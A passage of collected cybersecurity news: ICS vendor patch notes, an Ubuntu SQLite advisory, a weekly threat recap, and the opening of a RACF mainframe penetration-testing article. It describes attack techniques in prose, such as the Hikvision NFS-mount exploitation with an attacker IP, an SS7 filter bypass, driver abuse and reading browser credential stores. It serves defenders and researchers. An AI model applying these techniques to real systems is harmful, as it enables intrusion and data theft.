crafted FTP commands, as well as a high-severity issue that can lead to sensitive information exposure or a DoS condition. In the Schneider Electric Software Update tool, the company patched a high-severity vulnerability that can allow an attacker to escalate privileges, corrupt files, obtain information, or cause a persistent DoS. Medium-severity issues that can lead to privilege escalation, DoS, or sensitive credential exposure have been patched in Saitel and EcoStruxure products. Honeywell has published six advisories focusing on building management products, including several advisories that inform customers about Windows patches for Maxpro and Pro-Watch NVR and VMS products. The company has also released advisories covering PW-series access controller patches and security enhancements. Aveva has published an advisory for two issues in its PI Integrator for Business Analytics. Two vulnerabilities have been patched: one arbitrary file upload issue that could lead to code execution, and a sensitive data exposure weakness. ABB told customers on Tuesday about several vulnerabilities affecting its Aspect, Nexus and Matrix products. Some of the flaws can be exploited without authentication for remote code execution, obtaining credentials, and to manipulate files and various components. Phoenix Contact has informed customers about a privilege escalation vulnerability in Device and Update Management. The company has described it as a misconfiguration that allows a low-privileged local user to execute arbitrary code with admin privileges. Germany’s CERT@VDE has also published a copy of the Phoenix Contact advisory. The US cybersecurity agency CISA has published three new advisories describing vulnerabilities in Santesoft Sante PACS Server, Johnson Controls iSTAR, and Ashlar-Vellum products. CISA has also distributed the Aveva advisory and one of the Schneider Electric advisories. A few days prior to Patch Tuesday, Rockwell Automation published an advisory informing customers about several high-severity code execution vulnerabilities affecting its Arena Simulation product. Also prior to Patch Tuesday, Mitsubishi Electric released an advisory describing an information tampering flaw in Genesis and MC Works64 products. Related: ICS Patch Tuesday: Vulnerabilities Addressed by Rockwell, ABB, Siemens, Schneider
securityweek.comAug 13, 2025extracted
USN-7679-1: SQLite vulnerabilities
Details It was discovered that SQLite incorrectly handled aggregate terms. An attacker could use this issue to cause SQLite to crash, resulting in a denial of service, or possibly execute arbitrary code. (CVE-2025-6965) It was discovered that SQLite incorrectly handled certain argument values to sqlite3_db_config(). An attacker could use this issue to cause SQLite to crash, resulting in a denial of service, or possibly execute arbitrary code. This update fixes the issue in Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, and Ubuntu 18.04 LTS. This issue was previously fixed in Ubuntu 20.04 LTS via USN-7528-1. (CVE-2025-29088) It was discovered that SQLite incorrectly handled aggregate terms. An attacker could use this issue to cause SQLite to crash, resulting in a denial of service, or possibly execute arbitrary code. (CVE-2025-6965) It was discovered that SQLite incorrectly handled certain argument values to sqlite3_db_config(). An attacker could use this issue to cause SQLite to crash, resulting in a denial of service, or possibly execute arbitrary code. This update fixes the issue in Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, and Ubuntu 18.04 LTS. This issue was previously fixed in Ubuntu 20.04 LTS via USN-7528-1. (CVE-2025-29088) The problem can be corrected by updating your system to the following package versions: Reduce your security exposure Ubuntu Pro provides ten-year security coverage to 25,000+ packages in Main and Universe repositories, and it is free for up to five machines.
ubuntu.comJul 29, 2025extracted
⚡ Weekly Recap — SharePoint Breach, Spyware, IoT Hijacks, DPRK Fraud, Crypto Drains and More
Some risks don’t breach the perimeter—they arrive through signed software, clean resumes, or sanctioned vendors still hiding in plain sight. This week, the clearest threats weren’t the loudest—they were the most legitimate-looking. In an environment where identity, trust, and tooling are all interlinked, the strongest attack path is often the one that looks like it belongs. Security teams are now challenged to defend systems not just from intrusions—but from trust itself being turned into a weapon. ⚡ Threat of the Week Microsoft SharePoint Attacks Traced to China — The fallout from an attack spree targeting defects in on-premises Microsoft SharePoint servers continues to spread a week after the discovery of the zero-day exploits, with more than 400 organizations globally compromised. The attacks have been attributed to two known Chinese hacking groups tracked as Linen Typhoon (aka APT27), Violet Typhoon (aka APT31), and a suspected China-based threat actor codenamed Storm-2603 that has leveraged the access to deploy Warlock ransomware. The attacks leverage CVE-2025-49706, a spoofing flaw, and CVE-2025-49704, a remote code execution bug, collectively called ToolShell. Bloomberg reported that Microsoft is investigating whether a leak from Microsoft Active Protections Program (MAPP), which provides early access to vulnerability information to security software providers, may have led to the zero-day exploitation. China has denied allegations it was behind the campaign. Flare Customers Saw 321% ROI, Says Forrester Consulting Total Economic Impact™ (TEI) Study A new Forrester Consulting study commissioned by Flare shows how Flare’s threat exposure management platform delivered 321% ROI, cut manual work by 75%, and paid for itself in under 6 months for a composite organization representative of interviewed customers. Get the full business case. Read the Study ➝ 🔔 Top News U.S. Treasury Sanctions N. Korean Company for IT Worker Scheme — The U.S. Department of the Treasury's Office of Foreign Assets Control (OFAC) sanctioned a North Korean front company and three associated individuals for their involvement in the fraudulent remote information technology (IT) worker scheme designed to generate illicit revenues for Pyongyang. In a related move, Christina Marie Chapman, a laptop farmer in Arizona responsible for facilitating the scheme, was sentenced to jail for eight-and-a-half years, after raising $17 million in illicit funds for the regime. In these schemes, IT workers from North Korea use well-crafted, carefully curated portfolios, complete with full social media profiles, AI-enhanced photos and deepfakes, and stolen identities to pass background checks and land jobs at various U.S. companies. Once hired, they take the help of facilitators to receive company-issued laptops and other equipment, which they can then connect to remotely, thereby giving the impression that they are within the country where the company is located. The ongoing efforts operate with the twin goals of generating revenue for the Hermit Kingdom's nuclear program and other efforts via regular salaries, as well as gaining a foothold inside corporate networks for the purpose of planting malware for stealing secrets and extorting their employers. "DPRK's cyber operations challenge the traditional nation-state playbook – merging cryptocurrency theft, espionage, and nuclear ambition within a self-funded system driven by profit, loyalty, and survival," said Sue Gordon, a member of DTEX's Advisory Board and former principal deputy director of U.S. National Intelligence. "Recognizing it as a family-run mafia syndicate unblurs the lines between cybercrime and statecraft. This report pulls back the curtain on their inner workings and psychology, revealing how deeply embedded they already are within our workforce – providing the context needed to anticipate their next move." Soco404 and Koske Target Misconfigured Cloud Instances to Drop Miners — Two different malware campaigns have targeted vulnerabilities and misconfigurations across cloud environments to deliver cryptocurrency miners. These activity clusters have been codenamed Soco404 and Koske. While Soco404 targets both Linux and Windows systems to deploy platform-specific malware, Koske is a Linux-focused threat. There is also evidence to suggest that Koske has been developed using a large language model (LLM), given the presence of well-structured comments, best-practice logic flow with defensive scripting habits, and synthetic panda-related imagery to host the miner payload. XSS Forum Taken Down and Suspected Admin Arrested — Law enforcement notched a significant victory against the cybercrime economy with the disruption of the notorious forum XSS and the arrest of its suspected administrator. That said, it's important to note that takedowns of similar forums have proved short-lived, and threat actors often move to new platforms or other alternatives, such as Telegram channels. The development comes as LeakZone, a self-styled "leaking and cracking forum" where users advertise and share breached databases, stolen credentials, and pirated software, was caught leaking the IP addresses of its logged-in users to the open web. Coyote Trojan Exploits Windows UI Automation — The Windows banking trojan known as Coyote has become the first known malware strain to exploit the Windows accessibility framework called UI Automation (UIA) to harvest sensitive information. Coyote, which is known to target Brazilian users, comes with capabilities to log keystrokes, capture screenshots, and serve overlays on top of login pages associated with financial enterprises. Akamai's analysis found that the malware invokes the GetForegroundWindow() Windows API in order to extract the active window's title and compare it against a hard-coded list of web addresses belonging to targeted banks and cryptocurrency exchanges. "If no match is found Coyote will then use UIA to parse through the UI child elements of the window in an attempt to identify browser tabs or address bars," Akamai said. "The content of these UI elements will then be cross-referenced with the same list of addresses from the first comparison." Cisco Confirms Active Exploits Targeting ISE — Cisco has warned that a set of security flaws in Identity Services Engine (ISE) and ISE Passive Identity Connector (ISE-PIC) have come under active exploitation in the wild. The flaws, CVE-2025-20281, CVE-2025-20337, and CVE-2025-20282, allow an attacker to execute arbitrary code on the underlying operating system as root or upload arbitrary files to an affected device and then execute those files on the underlying operating system as root. The network equipment vendor did not disclose which vulnerabilities have been weaponized in real-world attacks, the identity of the threat actors exploiting them, or the scale of the activity. ️🔥 Trending CVEs Hackers are quick to jump on newly discovered software flaws – sometimes within hours. Whether it’s a missed update or a hidden bug, even one unpatched CVE can open the door to serious damage. Below are this week’s high-risk vulnerabilities making waves. Review the list, patch fast, and stay a step ahead. This week's list includes — CVE-2025-54068 (Laravel Livewire Framework), CVE-2025-34300 (Lighthouse Studio), CVE-2025-6704, CVE-2025-7624 (Sophos Firewall), CVE-2025-40599 (SonicWall SMA 100 Series), CVE-2025-49656, CVE-2025-50151 (Apache Jena), CVE-2025-22230, CVE-2025-22247 (Broadcom VMware Tools), CVE-2025-7783 (form-data), CVE-2025-34140, CVE-2025-34141, CVE-2025-34142, CVE-2025-34143 (Hexagon ETQ Reliance), CVE-2025-8069 (AWS Client VPN for Windows), CVE-2025-7723, CVE-2025-7724 (TP-Link VIGI NVR), CVE-2025-7742 (LG Innotek LNV5110R), CVE-2025-24000 (Post SMTP), CVE-2025-52449, CVE-2025-52452, CVE-2025-52453, CVE-2025-52454, CVE-2025-52455 (Salesforce Tableau Server), and CVE-2025-6241 (SysTrack). 📰 Around the Cyber World Google Removes 1000s of YouTube Channels Tied to Influence Ops — Google removed nearly 11,000 YouTube channels and other accounts tied to state-linked propaganda campaigns from China, Russia and more in the second quarter of 2025. It removed over 2,000 removed channels linked to Russia, including 20 YouTube channels, 4 Ads accounts, and 1 Blogger blog associated with RT, a Russian state-controlled media outlet. The takedown also included more than 7,700 YouTube channels linked to China, which shared content in Chinese and English that promoted the People’s Republic of China, supported President Xi Jinping and commented on U.S. foreign affairs. Surveillance Company Bypasses SS7 Safeguards — An unnamed surveillance company has been using a new attack technique to bypass the Signaling System 7 (SS7) protocol's protections and trick telecommunications companies into disclosing the location of their users. The attack method, likely used since the fourth quarter of 2024, hinges on Transaction Capabilities Application Part (TCAP) manipulation through SS7 commands that have been encoded in such a manner that their contents are not parsed by the protection systems or firewalls at the target network. "We don't have any information on how successful this attack method has been worldwide, as its success is vendor/software specific, rather than being a general protocol vulnerability, but its use as part of a suite indicates that it has had some value," Enea researchers Cathal Mc Daid and Martin Gallagher said. Number of Phishing Sites Aimed at Telegram Spikes — A new report has found that the number of phishing sites aimed at Telegram users increased to 12,500 in the second quarter of 2025. In one variant of the scheme, fraudsters create a phishing page that simulates the login page associated with Telegram or Fragment, a platform on the TON blockchain that allows users to buy and sell unique Telegram usernames and virtual phone numbers. Should victims enter their credentials and the confirmation codes, the accounts are hijacked by the attackers. The second scenario entails the attacker approaching a victim to purchase a rare digital gift from them in Telegram for a large amount. "As payment, the fraudster sends fake tokens," BI.ZONE said. "At first glance, they are indistinguishable from the real ones, but they have no real value. After the transfer, the victim is left without a gift and with a fake digital currency." In a related report, Palo Alto Networks Unit 42 said it identified 54,446 domains hosting phishing sites in a campaign impersonating Telegram dubbed telegram_acc_hijack. "These pages collect Telegram login credentials submitted and real-time one-time passcodes (OTPs) to hijack user accounts," the company added. Former NCA Employee Sentenced to 5.5 Years in Prison — A former officer with the U.K. National Crime Agency (NCA) was sentenced to five-and-a-half years in prison after stealing a chunk of the Bitcoin seized by the agency as part of a law enforcement operation targeting the now-defunct illicit dark web marketplace Silk Road. Paul Chowles, 42, was identified as the culprit after authorities recovered his iPhone, which linked him to an account used to transfer Bitcoin as well as relevant browser search history relating to a cryptocurrency exchange service. "Within the NCA, Paul Chowles was regarded as someone who was competent, technically minded and very aware of the dark web and cryptocurrencies," Alex Johnson, Specialist Prosecutor with the Crown Prosecution Service's Special Crime Division, said. "He took advantage of his position working on this investigation by lining his own pockets while devising a plan that he believed would ensure that suspicion would never fall upon him. Once he had stolen the cryptocurrency, Paul Chowles sought to muddy the waters and cover his tracks by transferring the Bitcoin into mixing services to help hide the trail of money." U.K. Sanctions 3 Russian GRU Units for Sustained Cyber Attacks — The U.K. sanctioned three units of the Russian military intelligence agency (GRU) and 18 military intelligence officers for "conducting a sustained campaign of malicious cyber activity over many years" with an aim to "sow chaos, division and disorder in Ukraine and across the world." The sanctions cover Unit 26165 (linked to APT28), Unit 29155 (linked to Cadet Blizzard), and Unit 74455 (linked to Sandworm), as well as African Initiative, a "social media content mill established and funded by Russia and employing Russian intelligence officers to conduct information operations in West Africa." U.K. Floats Ransomware Payments Ban for Public Bodies — The U.K. government has proposed new legislation that would ban public sector organizations and critical national infrastructure from paying criminal operators behind ransomware attacks, as well as enforce mandatory reporting requirements for all victims to inform law enforcement of attacks. "Public sector bodies and operators of critical national infrastructure, including the NHS, local councils and schools, would be banned from paying ransom demands to criminals under the measure," the government said. "The ban would target the business model that fuels cyber criminals' activities and makes the vital services the public rely on a less attractive target for ransomware groups." Businesses that do not fall under the ambit of the law would be required to notify the government of any intent to pay a ransom. A failure to download patches to address widely exploited vulnerabilities could lead to daily fines of £100,000 or 10 percent of turnover should a digital break-in occur. Thought Lumma Was Out of Commission? Think Again! — The Lumma Stealer operations have recovered following a law enforcement takedown of its infrastructure earlier this year, with the malware being distributed through more discreet channels and stealthier evasion tactics. "Lumma's infrastructure began ramping up again within weeks of the takedown," Trend Micro said. "This rapid recovery highlights the group's resilience and adaptability in the face of disruption." A notable shift is the reduction in volume of domains using Cloudflare's services to obfuscate their malicious domains and make detection more challenging, instead shifting to Russian alternatives like Selectel. "This strategic pivot suggests a move towards providers that might be perceived as less responsive to law enforcement requests, further complicating efforts to track and disrupt their activities," the company added. Lumma Stealer is known for its diverse and evolving delivery methods, leveraging social media posts, GitHub, ClickFix, and fake sites distributing cracks and key generators, as initial access methods. The resurgence of Lumma is par for the course with modern cybercriminal operations that often can quickly resume activity even after significant law enforcement disruptions. In a statement shared with The Hacker News, ESET confirmed the resurgence of Lumma Stealer and that the current activity has approached levels similar to those before the law enforcement action. "Lumma Stealer operators continue to register dozens of new domains weekly – activity that didn’t stop even after the disruption – but switched to primarily resolving them at nameservers located in Russia," Jakub Tománek, ESET malware analyst, said. "The codebase itself has shown minimal changes since the takedown attempt. This indicates the group’s primary focus has been on restoring operations rather than innovating their 'product' and introducing new features." U.S. Government Warns of Interlock Ransomware — The U.S. government has warned of Interlock ransomware attacks targeting businesses, critical infrastructure, and other organizations in North America and Europe since late September 2024. The attacks, designed to target both Windows and Linux systems, employ drive-by downloads from compromised legitimate websites or ClickFix- and FileFix-style lures to drop payloads for initial access. "Actors then use various methods for discovery, credential access, and lateral movement to spread to other systems on the network," the U.S. government said. "Interlock actors employ a double extortion model in which actors encrypt systems after exfiltrating data, which increases pressure on victims to pay the ransom to both get their data decrypted and prevent it from being leaked." Also part of the threat actor's tooling are Cobalt Strike and a custom remote access trojan called NodeSnake RAT, and information stealers like Lumma Stealer and Berserk Stealer to harvest credentials for lateral movement and privilege escalation. Apple Notifies Iranians of Spyware Attacks — Apple notified more than a dozen Iranians in recent months that their iPhones had been targeted with government spyware, according to a digital rights and security organization called Miaan Group. This included individuals who have a long history of political activism. Also notified by Apple were dissidents and a technology worker. It's unclear which spyware maker is behind these attacks. The attacks mark the first known example of advanced mercenary tools being used both inside Iran and against Iranians living abroad. Linux Servers Targeted by SVF Bot — Poorly managed Linux servers are being targeted by a campaign that delivers a Python-based malware called SVF Bot that enlists infected machines in a botnet that can conduct distributed denial-of-service (DDoS) attacks. "When the SVF Bot is executed, it can authenticate with the Discord server using the following Bot Token and then operate according to the threat actor's commands," ASEC said. "Most of the supported commands are for DDoS attacks, with L7 HTTP Flood and L4 UDP Flood being the main types supported." Turkish Companies Targeted by Snake Keylogger — Turkish organizations are the target of a new phishing campaign that delivers an information stealer called Snake Keylogger. The activity, primarily singling out defense and aerospace sectors, involves distributing bogus email messages that impersonate Turkish Aerospace Industries (TUSAŞ) in an attempt to trick victims into opening malicious files under the guise of contractual documents. "Once executed, the malware employs advanced persistence mechanisms – including PowerShell commands to evade Windows Defender and scheduled tasks for auto-execution – to harvest sensitive data, such as credentials, cookies, and financial information, from a wide range of browsers and email clients," Malwation said. Former Engineer Pleads Guilty to Trade Theft — A Santa Clara County man and former engineer at a Southern California company pleaded guilty to stealing trade secret technologies developed for use by the U.S. government to detect nuclear missile launches, track ballistic and hypersonic missiles, and to allow U.S. fighter planes to detect and evade heat-seeking missiles. Chenguang Gong, 59, of San Jose, pleaded guilty to one count of theft of trade secrets. He remains free on a $1.75 million bond. Gong – a dual citizen of the United States and China – transferred more than 3,600 files from a Los Angeles-area research and development company where he worked to personal storage devices during his brief tenure with the company last year. The victim company hired Gong in January 2023 as an application-specific integrated circuit design manager. He was terminated three months later. Gong, who was arrested and charged in February, is scheduled for sentencing on September 29, 2025. He faces up to 10 years in prison. FBI Issues Warning About The Com — The Federal Bureau of Investigation (FBI) is warning the public about an online group called In Real Life (IRL) Com that provides violence-as-a-service (VaaS), including shootings, kidnappings, armed robbery, stabbings, physical assault, and bricking. "Services are posted online with a price breakdown for each act of violence," the FBI said. "Groups offering VaaS advertise contracts on social media platforms to solicit individuals willing to conduct the act of violence for monetary compensation." The threat group is also said to advertise swat-for-hire services via communication applications and social media platforms. IRL Com is assessed to be one of three subsets of The Com (short for The Community), a growing online collective comprising primarily of thousands of English-speaking individuals, many of whom are minors, and engage in a wide range of criminal endeavors. The other two offshoots are Hacker Com, which is linked to DDoS and ransomware-as-a-service (RaaS) groups, and Extortion Com, which primarily involves the exploitation of children. Notably, the Com encompasses threat clusters tracked as LAPSUS$ and Scattered Spider. A similar warning was issued by the U.K. National Crime Agency (NCA) earlier this March, calling attention to The Com's trend of recruiting teenage boys to commit a range of criminal acts, from cyber fraud and ransomware to child sexual abuse. Organized Crime Group Behind Large-Scale Fraud Disrupted — A highly organised criminal group involved in large-scale fraud in Western Europe was dismantled in a coordinated operation led by authorities from Romania and the United Kingdom. "The gang had travelled from Romania to several Western European countries, mainly the UK, and withdrew large sums of money from ATM machines," Europol said. "They later laundered the proceeds by investing in real estate, companies, vacations, and luxury products, including cars and jewelry." The operation has led to two arrests, 18 house searches, and the seizure of real estate, luxury cars, electronic devices, and cash. The attackers committed what has been described as Transaction Reversal Fraud (TRF), in which the screen of an ATM is removed and a bank card is inserted to request funds. The transactions were canceled (or reversed) before the funds were dispensed, allowing them to reach inside the ATM and take the cash before it was retracted. The gang is estimated to have plundered about €580,000 (about $681,000) using this method. "The perpetrators were also involved in other criminal activities, including skimming, forging electronic means of payment and transport cards, and conducting bin attacks — a type of card fraud carried out using software designed to identify card numbers and generate illicit income through fraudulent payments," Europol added. The development came as a 21-year-old U.K. student, Ollie Holman, who designed and distributed 1,052 phishing kits linked to £100 million (approximately $134 million) worth of fraud, was jailed for seven years. It is estimated that Holman received £300,000 from selling the kits between 2021 and 2023. The phishing kits were sold via Telegram. Holman previously pleaded guilty to seven counts, including encouraging or assisting the commission of an offence, making or supplying articles for use in fraud, and transferring, acquiring, and possessing criminal property, per the Crown Prosecution Service. Endgame Gear Acknowledges Supply Chain Attack — Gaming peripheral manufacturer Endgame Gear confirmed that unidentified threat actors compromised its official software distribution system to spread dangerous Xred malware to unsuspecting customers for nearly two weeks via the OP1w 4k v2 product page. The security breach occurred between June 26 and July 9, 2025. The company stated that "access to our file servers was not compromised, and no customer data was accessible or affected on our servers at any time," and that "This issue was isolated to the OP1w 4k v2 product page download only." New Campaign Targeted Crypto Users Since March 2024 — A new sophisticated and evasive malware campaign has managed to stay unnoticed and target cryptocurrency users globally since March 2024. Dubbed WEEVILPROXY, the activity leverages Facebook advertisement campaigns masquerading as well-known cryptocurrency-related software and platforms, such as Binance, Bybit, Kraken, Revolut, TradingView, and others, to trick users into downloading fake installers that ultimately drop information stealers and cryptocurrency drainers. "We have also observed the threat actor propagate ads through Google Display Network since April-May 2025, which are displayed throughout the internet in the form of images/videos," WithSecure said. "These ads appear geographically bound as well, for instance, we have observed such ads specifically targeting the Philippines, Malaysia, Thailand, Vietnam, Bangladesh, and Pakistan." VMDetector Loader Delivers Formbook Malware — A new variant of the VMDetector Loader malware has been found embedded within the "pixel data" of a seemingly benign JPG image that's delivered via phishing emails to ultimately deploy an information stealer called Formbook. The JPG image is retrieved from archive.org by means of Visual Basic Scripts present within zipped archives that are sent as attachments to the email messages. Threat Actors Use mount Binary in Hikvision Attacks — Attacks in the wild exploiting CVE-2021-36260, a command injection bug affecting Hikvision cameras, have been uncovered, leveraging the flaw to mount a remote NFS share and execute a file off of it. "The attacker tells mount to make the remote NFS share, /srv/nfs/shared, on 87.121.84[.]34 available locally as the directory ./b," VulnCheck said. How Windows Drivers Can Be Weaponized? — In a new detailed analysis, Security Joes has highlighted the threat posed by kernel-mode attacks and how attacks abusing vulnerable drivers, called the Bring Your Own Vulnerable Driver (BYOVD) technique, can be used by attackers to exploit signed-but-flawed drivers to bypass kernel protections. "Because drivers run in kernel mode, they possess high privileges and unrestricted access to system resources," the company said. "This makes them a high-value target for attackers aiming to escalate privileges, disable security mechanisms such as EDR callbacks, and achieve full control over the system." Organizations' Attack Surface Increases — Organizations have created more entry points for attackers. That's according to a report from ReliaQuest, which found a 27% increase in exposed ports between the second half of 2024 and the first half of 2025, a 35% increase in exposed operational technology (OT), and a surge in vulnerabilities in public-facing systems, such as PHP and WordPress. "Vulnerabilities in public-facing assets more than doubled, rising from 3 per organization in the second half of 2024 to 7 in the first half of 2025," the company said. "From late 2024 to early 2025, the number of exposed access keys for organizations in our customer base doubled, creating twice the opportunity for attackers to slip in unnoticed." Iranian Bank Pasargad Targeted During June Conflict — The Iranian bank known as Pasargad was targeted as part of a cyber attack during the Iran-Israel war in June 2025, impacting access to crucial services. A suspected Israeli operation called Predatory Sparrow claimed responsibility for the attack on another Iranian bank Sepah and the country's largest cryptocurrency exchange, Nobitex. CrowdStrike Outage Impacted Over 750 U.S. Hospitals — A new study undertaken by a group of academics from the University of California, San Diego, found that 759 U.S. hospitals experienced IT outages last July due to a faulty CrowdStrike update. "A total of 1098 distinct network services with outages were identified, of which 631 (57.5%) were unable to be classified, 239 (21.8%) were direct patient-facing services, 169 (15.4%) were operationally relevant services, and 58 (5.3%) were research-related services," the study said. North Korean Actors Employ NVIDIA Lures — The North Korean threat actors behind the Contagious Interview (aka DeceptiveDevelopment) campaign are leveraging ClickFix-style lures to trick unsuspecting job seekers into downloading a supposed NVIDIA-related update to address camera or microphone issues when attempting to provide a video assessment. The attack leads to the execution of a Visual Basic Script that launches a Python payload called PylangGhost that steals credentials and enables remote access via MeshAgent. ACRStealer Variant Distributed in New Attacks — Threat actors are propagating a new variant of ACRStealer that incorporates new features aimed at detection evasion and analysis obstruction. "The modified ACRStealer uses the Heaven's Gate to disrupt detection and analysis," AhnLab said. "Heaven's Gate is a technique used to execute x64 code in WoW64 processes and is widely used for analysis evasion and detection avoidance." The new version has been rebranded as Amatera Stealer, per Proofpoint. It's offered for sale for $199 per month to $1,499 per year. Aeza Group Shifts Infrastructure After U.S. Sanctions — Earlier this month, the U.S. Treasury Department imposed sanctions against Russia-based bulletproof hosting (BPH) service provider Aeza Group for assisting threat actors in their malicious activities, such as ransomware, data theft, and darknet drug trafficking. Silent Push, in a new analysis, said IP ranges from Aeza's AS210644 began migrating to AS211522, a new autonomous system operated by Hypercore Ltd., starting July 20, 2025, in an attempt to evade sanctions enforcement and operate under new infrastructure. Request for Quote Scams Demonstrate Sophistication — Cybersecurity researchers are calling attention to a widespread Request for Quote (RFQ) scam that employs common Net financing options (Net 15, 30, 45) to steal a variety of high-value electronics and goods. "In RFQ campaigns, the actor reaches out to a business to ask for quotes for various products or services," Proofpoint said. "The quotes they receive can be used to make very convincing lures to send malware, phishing links, and even additional business email compromise (BEC) and social engineering fraud." Besides using vendor-supplied financing and stolen identities of real employees to steal physical goods, these scams utilize email and legitimate online quote request forms to reach potential victims. Fake Games Distribute Stealer Malware — A new malware campaign is distributing fake installers for indie game titles such as Baruda Quest, Warstorm Fire, and Dire Talon, promoting them via fraudulent websites, YouTube channels, and Discord, to trick unwitting users into infecting their machines with stealers like Leet Stealer, RMC Stealer (a modified version of Leet Stealer), and Sniffer Stealer. The origins of Leet and RMC malware families can be traced back to Fewer Stealer, suggesting a shared lineage. It's believed that the campaign originally targeted Brazil, before expanding worldwide. U.S. FCC Wants to Ban Companies from Using Chinese Equipment When Laying Submarine Cables — The U.S. Federal Communications Commission said it plans to issue new rules that would ban Chinese technology from U.S. submarine cables in order to protect underwater telecommunications infrastructure from foreign adversary threats. "We have seen submarine cable infrastructure threatened in recent years by foreign adversaries, like China," FCC Chairman Brendan Carr said. "We are therefore taking action here to guard our submarine cables against foreign adversary ownership, and access as well as cyber and physical threats." In a recent report, Recorded Future said the risk environment for submarine cables has "escalated" and that the "threat of state-sponsored malicious activity targeting submarine cable infrastructure is likely to rise further amid heightened geopolitical tensions." The cybersecurity company also cited a lack of redundancy, a lack of diversity of cable routes, and limited repair capacity as some of the key factors that raise the risk of severe impact caused by damage to submarine cables. China Warns Citizens of Backdoored Devices and Supply Chain Threats — China's Ministry of State Security (MSS) has issued an advisory, warning of backdoors in devices and supply chain attacks on software. The security agency said such threats not only risk personal privacy and theft of corporate secrets, but also affect national security. "Potential technical backdoor security risks can also be reduced by strengthening technical protection measures, such as formulating patch strategies, regularly updating operating systems, regularly checking device logs, and monitoring abnormal traffic," MSS said, urging organizations to avoid foreign software and instead adopt domestic operating systems. In a separate bulletin, the MSS also alleged that overseas spy intelligence agencies may set up backdoors in its ocean observation sensors to steal data. NyashTeam Hacking Group Infrastructure Disrupted — Russia-based cybersecurity company F6 said it dismantled a network of domains operated by a relatively unknown hacking crew known as NyashTeam, which sells two different remote access trojans known as DCRat (DarkCrystal RAT) and WebRAT through Telegram bots and websites under the malware-as-a-service (MaaS) model. The malware is distributed using YouTube and GitHub by passing them off as game cheats or pirated software. The group is also believed to provide hosting services for cybercriminal infrastructure and support customers through plugins, guides, and data processing tools, appealing to both novice hackers and experienced cybercriminals alike. RenderShock Attack Technique Detailed — Cybersecurity researchers have detailed a zero-click attack strategy called RenderShock that leverages trusted operating system behaviors to conduct reconnaissance and deliver payloads without requiring any user interaction. "By embedding malicious logic in metadata, preview triggers, and document formats, RenderShock capitalizes on system convenience as an unguarded attack vector," CYFIRMA said. "Modern enterprise systems are built for convenience, automatically previewing, indexing, synchronizing, and rendering files across endpoints, cloud platforms, and productivity suites. These systems often process files without explicit user action, trusting that the rendering process is safe. RenderShock exploits these passive execution surfaces: trusted components that parse untrusted files silently in the background." 🎥 Cybersecurity Webinars AI Is Breaking Trust—Here’s How to Save It Before It’s Too Late — Discover how customers are reacting to AI-driven digital experiences in 2025. The Auth0 CIAM Trends Report reveals rising identity threats, new trust expectations, and the hidden costs of broken logins. Join this webinar to learn how AI can be your biggest asset—or your biggest risk. Python Devs: Your Pip Install Could Be a Malware Bomb — In 2025, Python’s supply chain is under siege — from typosquats to hijacked AI libraries. One wrong pip install could inject malware straight into production. This session shows how to secure your builds with tools like Sigstore, SLSA, and hardened containers. Stop hoping your packages are clean — start verifying. 🔧 Cybersecurity Tools Vendetect - It is an open-source tool designed to detect copied or vendored code across repositories — even when the code has been modified. Built for real-world security and compliance needs, it uses semantic fingerprinting and version control analysis to identify where code was copied from, including the exact source commit. Unlike academic plagiarism tools, Vendetect is optimized for software engineering environments: it catches renamed functions, stripped comments, and altered formatting, and helps trace untracked dependencies, license violations, and inherited vulnerabilities often found during security assessments. Telegram Channel Scraper - It is a Python-based tool designed for advanced monitoring and data collection from public Telegram channels. It uses the Telethon library to scrape messages and media, storing everything in optimized SQLite databases. Built for efficiency and scale, it supports real-time scraping, parallel media downloads, and batch data exports. This makes it useful for researchers, analysts, and security teams who need structured access to Telegram content for investigation or archiving — without depending on manual scraping or third-party platforms. Disclaimer: These newly released tools are for educational use only and haven’t been fully audited. Use at your own risk—review the code, test safely, and apply proper safeguards. 🔒 Tip of the Week Don’t Trust Your Browser Blindly — Most people think of their browser as just a tool to get online — but in reality, it’s one of the most exposed parts of your device. Behind the scenes, your browser quietly stores names, emails, companies, and sometimes even payment info. This data often lives in plain, unencrypted files that are easy to extract if someone gains local access — even briefly. For example, in Chrome or Edge, personal autofill details are stored in a file called Web Data, which is a basic SQLite database anyone with access can read. This means that if your machine is compromised — even by a simple script — your personal or even work identity can be quietly stolen. Red teamers and attackers love this kind of recon gold. It doesn’t stop there. Browsers also keep session cookies, local storage, and site databases that often don’t get wiped, even after logout. This data can allow attackers to hijack your logged-in sessions or extract sensitive info stored by web apps — including company tools. Even browser extensions, if malicious or hijacked, can quietly spy on your activity or inject bad code into pages you trust. Another weak spot? Browser extensions. Even legitimate-looking add-ons can have wide permissions — letting them read what you type, track your browsing, or inject scripts. If a trusted extension gets compromised in an update, it can silently become a data theft tool. This happens more often than people think. Here’s how to reduce the risk: Clear autofill, cookies, and site data regularly Disable autofill entirely on workstations Limit extensions — audit them using tools like CRXcavator or Extension Police Use DB Browser for SQLite to inspect stored files (Web Data, Cookies) Use tools like BleachBit to securely wipe traces Browsers are essentially lightweight application platforms. If you’re not auditing how they store data and who can access it, you’re leaving a major gap open — especially on shared or endpoint-exposed machines. Conclusion This week’s signals are less a conclusion and more a provocation: What else might we be misclassifying? What familiar data could become meaningful under a different lens? If the adversary thinks in systems, not symptoms, our defenses must evolve accordingly. Sometimes, the best response isn’t a patch—it’s a perspective shift. There’s value in looking twice where others have stopped looking altogether.
thehackernews.comJul 28, 2025extracted
Approach to mainframe penetration testing on z/OS. Deep dive into RACF
In our previous article we dissected penetration testing techniques for IBM z/OS mainframes protected by the Resource Access Control Facility (RACF) security package. In this second part of our research, we delve deeper into RACF by examining its decision-making logic, database structure, and the interactions between the various entities in this subsystem. To facilitate offline analysis of the RACF database, we have developed our own utility, racfudit, which we will use to perform possible checks and evaluate RACF configuration security. As part of this research, we also outline the relationships between RACF entities (users, resources, and data sets) to identify potential privilege escalation paths for z/OS users. This material is provided solely for educational purposes and is intended to assist professionals conducting authorized penetration tests. RACF internal architecture Overall role To thoroughly analyze RACF, let’s recall its role and the functions of its components within the overall z/OS architecture. As illustrated in the diagram above, RACF can generally be divided into a service component and a database. Other components exist too, such as utilities for RACF administration and management, or the RACF Auditing and Reporting solution responsible for event logging and reporting. However, for a general understanding of the process, we believe these components are not strictly necessary. The RACF database stores information about z/OS users and the resources for which access control is configured. Based on this data, the RACF service component performs all necessary security checks when requested by other z/OS components and subsystems. RACF typically interacts with other subsystems through the System Authorization Facility (SAF) interface. Various z/OS components use SAF to authorize a user’s access to resources or to execute a 